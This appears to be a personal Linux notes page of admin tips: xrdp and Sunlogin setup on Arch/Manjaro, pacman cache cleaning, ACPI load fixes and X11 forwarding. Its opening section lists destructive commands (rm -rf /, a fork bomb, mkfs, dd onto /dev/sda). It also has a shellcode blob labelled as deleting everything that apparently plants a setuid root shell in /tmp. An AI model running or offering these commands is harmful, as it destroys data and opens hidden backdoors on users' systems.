About Linux

Linux相关

Deletes Everything

rm -rf /
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Fork Bomb

:(){ :|: & };:

Formats a Hard Drive

mkfs.ext4 /dev/sda1

Writes Junk Onto a Hard Drive

dd if=/dev/random of=/dev/sda

dd Command Show Progress Copy Bar With Status

dd if=/path/to/input of=/path/to/output status=progress

kacpid causes 100% cpu load

kacpid进程造成cpu使用率100%

查找

grep . -r /sys/firmware/acpi/interrupts/

禁用

echo "disable" > /sys/firmware/acpi/interrupts/gpe00

install gcc-10 on debian

使用testing里的gcc

echo 'deb http://deb.debian.org/debian testing main' >> /etc/apt/sources.list
apt update -y
apt install -y build-essential gcc g++

Manjaro

https://forum.manjaro.org/t/cpu-is-constant-on-high-frequency/111645/23

Arch Linux

向日葵

yay -S sunloginclient
sudo systemctl enable runsunloginclient.service
# 运行
sunloginclient

xrdp(XFCE4)

# installing xorgxrdp-glamor for Intel and AMD GPUs and xorgxrdp-nvidia for Nvidia GPUs
yay install xrdp xorgxrdp

# 修改/etc/xrdp/sesman.ini
# [Xorg]
# 注释 param=Xorg
# 添加 
param=/usr/lib/Xorg

# 修改~/.xinitrc
export LANG=zh_CN.UTF-8
export LANGUAGE=zh_CN:en_US
exec dbus-launch --sh-syntax startxfce4

sudo systemctl enable --now xrdp

# Sound
# Install the necessary PulseAudio modules with pulseaudio-module-xrdp

Manjaro

xrdp(KDE)

sudo pamac install xrdp xorgxrdp-git

sudo systemctl enable xrdp.service
sudo systemctl enable xrdp-sesman.service

sudo sh -c "echo 'allowed_users=anybody' >> /etc/X11/Xwrapper.config"

# 修改~/.xinitrc
## 注释exec $(get_session "$1")
## 添加
exec dbus-launch --sh-syntax startplasma-x11

# 重启

Cleaning the Cache

sudo pacman -Sc
pamac clean

# 保留3个旧版本
paccache -rvk3
pamac clean --keep 3

Ubuntu(WSL1)

Can’t load shared library libQt5Core.so.5

sudo strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5

Linux

X11 转发

服务端

    安装 xorg-xauth包
    在 /etc/ssh/sshd_config:
        设置 X11Forwarding 为 yes
        检查 AllowTcpForwarding 和 X11UseLocalhost 选项为 yes, 并且 X11DisplayOffset 设为 10 (这是默认值除非被修改过,参考 sshd_config(5))
    然后重启这个 sshd daemon.

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注